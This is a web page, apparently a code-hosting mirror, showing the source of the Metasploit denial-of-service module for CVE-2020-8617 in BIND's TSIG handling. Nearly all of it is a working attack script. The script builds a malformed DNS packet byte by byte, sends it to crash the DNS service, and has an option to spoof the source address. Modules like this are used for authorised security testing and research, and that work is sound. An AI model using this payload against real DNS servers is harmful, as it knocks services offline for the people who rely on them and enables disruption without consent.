Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/dns/bind_tsig_badtime.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::UDPScanner8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BIND TSIG Badtime Query Denial of Service',15'Description' => %q{16A logic error in code which checks TSIG validity can be used to17trigger an assertion failure in tsig.c.18},19'Author' => [20'Tobias Klein', # Research and Original PoC21'Shuto Imai', # msf module author22],23'References' => [24['CVE', '2020-8617'],25['URL', 'https://gitlab.isc.org/isc-projects/bind9/-/issues/1703'],26['URL', 'https://www.trapkit.de/advisories/TKADV2020-002.txt']27],28'DisclosureDate' => '2020-05-19',29'License' => MSF_LICENSE,30'DefaultOptions' => { 'ScannerRecvWindow' => 0 },31'Notes' => {32'Stability' => [CRASH_SERVICE_DOWN],33'SideEffects' => [],34'Reliability' => []35}36)37)3839register_options([40Opt::RPORT(53),41OptAddress.new('SRC_ADDR', [false, 'Source address to spoof']),42])4344deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')45end4647def scan_host(ip)48print_status("Sending packet to #{ip}")49if datastore['SRC_ADDR']50scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])51else52scanner_send(payload, ip, rport)53end54end5556def payload57query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f6558query << "\x00\x00" # Flags: 0x0000 Standard query59query << "\x00\x01" # Questions: 160query << "\x00\x00" # Answer RRs: 061query << "\x00\x00" # Authority RRs: 062query << "\x00\x01" # Additional RRs: 16364# Domain Name65query << get_domain # Random DNS Name66query << "\x00" # [End of name]67query << "\x00\x01" # Type: A (Host Address) (1)68query << "\x00\x01" # Class: IN (0x0001)6970# Additional records. Name71query << "\x0alocal-ddns"72query << "\x00"7374query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)75query << "\x00\xff" # Class: ANY (0x00ff)76query << "\x00\x00\x00\x00" # Time to live: 077query << "\x00\x1d" # Data length: 297879# Algorithm Name80query << "\x0bhmac-sha256" # The algorithm for local-ddns is hmac-sha25681query << "\x00"8283# Rest of TSIG84query << "\x00\x00\x00\x00\x00\x00" # Time Signed: Jan 1, 1970 00:00:00.000000000 UTC85query << "\x00\x00" # Fudge: 086query << "\x00\x00" # MAC Size: 087query << "\x00\x00" # Original Id: 088query << "\x00\x10" # Error: BadSig (16)89query << "\x00\x00" # Other len: 090end9192def get_domain93domain = "\x06#{Rex::Text.rand_text_alphanumeric(6)}"94org = "\x03#{Rex::Text.rand_text_alphanumeric(3)}"95domain + org96end9798end99100101